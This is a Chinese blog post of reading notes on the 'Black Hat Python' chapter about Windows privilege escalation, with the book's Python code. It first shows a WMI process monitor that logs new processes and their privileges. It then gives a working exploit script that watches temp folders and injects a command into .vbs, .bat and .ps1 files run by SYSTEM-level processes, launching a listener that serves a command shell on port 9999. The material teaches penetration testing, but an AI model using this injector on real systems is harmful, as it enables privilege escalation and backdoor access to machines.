《Python黑帽子:黑客与渗透测试编程之道》读书笔记(八):Windows提权

cyber security 同时被 3 个专栏收录
95 篇文章 4 订阅
53 篇文章 0 订阅
22 篇文章 0 订阅

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第10章Windows提权,主要是做一个进程监视器,然后拦截高权限进程并插入脚本

1、进程监视器

利用WMI的API可以监控系统事件

Windows的一些令牌权限

  • SeBackupPrivilege:使得用户进程可以备份文件和目录,读取任何文件而无需关注访问控制列表(ACL)
  • SeDebugPrivilege:使得用户进程可以调试其他进程
  • SeLoadDriver:使得用户进程可以加载或卸载驱动
#!usr/bin/env python
#-*- coding:utf8 -*-  

import win32con
import win32api
import win32security

import wmi
import sys
import os

def get_process_privileges(pid):
    try:
        # 通过pid获取目标进程句柄
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid)

        # 打开主进程的令牌
        htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)

        # 解析已启用的权限列表,获得令牌信息
        privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges)

        # 迭代每个权限并输出其中已经启用的
        # i[0]:具体权限
        # i[1]:该权限是否启用
        priv_list = ""
        for i in privs:
            # 检测权限是否已经启用
            if i[1] == 3:
                # 获取并连接权限的名称
                priv_list += "%s|" % win32security.LookupPrivilegeName(None, i[0])
    except:
        priv_list = "N/A"

    return priv_list


# 保存数据到文件中
def log_to_file(message):
    fd = open("process_monitor_log.csv", "ab")
    fd.write("%s\r\n" % message)
    fd.close()
    return

# 创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

# 初始化WMI接口
c = wmi.WMI()

# 创建进程监控器(监控进程创建)
process_watcher = c.Win32_Process.watch_for("creation")

while True:
    try:
        # 有创建进程事件会返回
        new_process = process_watcher()

        proc_owner = new_process.GetOwner()
        # for i in proc_owner:
        #     print i
        proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2])
        # 时间
        create_data = new_process.CreationDate
        # 路径
        executable = new_process.ExecutablePath
        # 命令行(就是实际的命令是什么)
        cmdline = new_process.CommandLine
        pid = new_process.ProcessId
        parent_pid = new_process.ParentProcessId

        # N/A:不可用的意思
        # privileges = "N/A"
        privileges = get_process_privileges(pid)

        process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_data, proc_owner, executable, cmdline, pid, parent_pid, privileges)

        print process_log_message

        log_to_file(process_log_message)

    except:
        pass

2、赢得竞争

运行上面的监视器,可能看到类似下面这种记录

在这里插入图片描述
cscript.exe以SYSTEM权限运行

为了能利用权限,必须在和目标程序执行脚本的竞争中占先

#!usr/bin/env python
#-*- coding:utf8 -*-  

import tempfile
import threading
import win32file
import win32con
import os

# 这些是典型的临时文件所在路径,就是我们监控的目录
dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# 文件修改行为对应常量
FILE_CREATE = 1
FILE_DELETE = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

# 定义匹配特定文件扩展名的字典
file_types = {}

command = "python C:\\WINDOWS\\TEMP\\bhpnet.py –l –p 9999 –c"
# 每段扩展名对应一个特定的标签及我们想要插入的一段脚本
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]
file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"%s\"" % command]

# 用于执行代码插入的函数
def inject_code(full_filename, extension, contents):
    # 判断文件是否存在标记
    if file_types[extension][0] in contents:
        return

    # 如果没有标记的话,那么插入代码并标记
    full_contents = file_types[extension][0]
    full_contents += file_types[extension][1]
    full_contents += contents

    fd = open(full_filename, "wb")
    fd.write(full_contents)
    fd.close()

    print "[\o/] Injected code"

    return

# 为每个监控器起一个线程
def start_monitor(path_to_watch):

    # 访问模式
    FILE_LIST_DIRECTORY = 0x0001

    # 获取文件目录句柄
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ |win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )

    while 1:
        try:
            # 这函数会在目录结构改变时通知我们
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_SIZE |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
            )

            # 我们可以获得发送了何种改变,以及目标文件的名称
            for action,file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)

                if action == FILE_CREATE:
                    print "[ + ] Created %s" % full_filename
                elif action == FILE_DELETE:
                    print "[ - ] Deleted %s" % full_filename
                elif action == FILE_MODIFIED:
                    print "[ * ] Modified %s" % full_filename
                    # 输出文件内容
                    print "[vvv] Dumping contents..."
                    try:
                        # 打开文件读数据
                        fd = open(full_filename, "rb")
                        contents = fd.read()
                        fd.close()
                        print contents
                        print "[^^^] Dump complete."
                    except:
                        print "[!!!] Failed."

                    # 文件和文件扩展名分离
                    filename, extension = os.path.splitext(full_filename)
                    if extension in file_types:
                        inject_code(full_filename, extension, contents)

                # 重命名哪个文件
                elif action == FILE_RENAMED_FROM:
                    print "[ > ] Renamed from: %s" % full_filename
                # 重命名后的文件名是?
                elif action == FILE_RENAMED_TO:
                    print "[ < ] Renamed to: %s" % full_filename
                else:
                    print "[???] Unknown: %s" % full_filename
        except:
            pass


for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print "Spawning monitoring thread for path: %s" % path
    monitor_thread.start()

结语

主要是监视进程,拦截并竞争

  • 1
    点赞
  • 3
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

打赏
文章很值,打赏犒劳作者一下
相关推荐
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页

打赏

思源湖的鱼

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值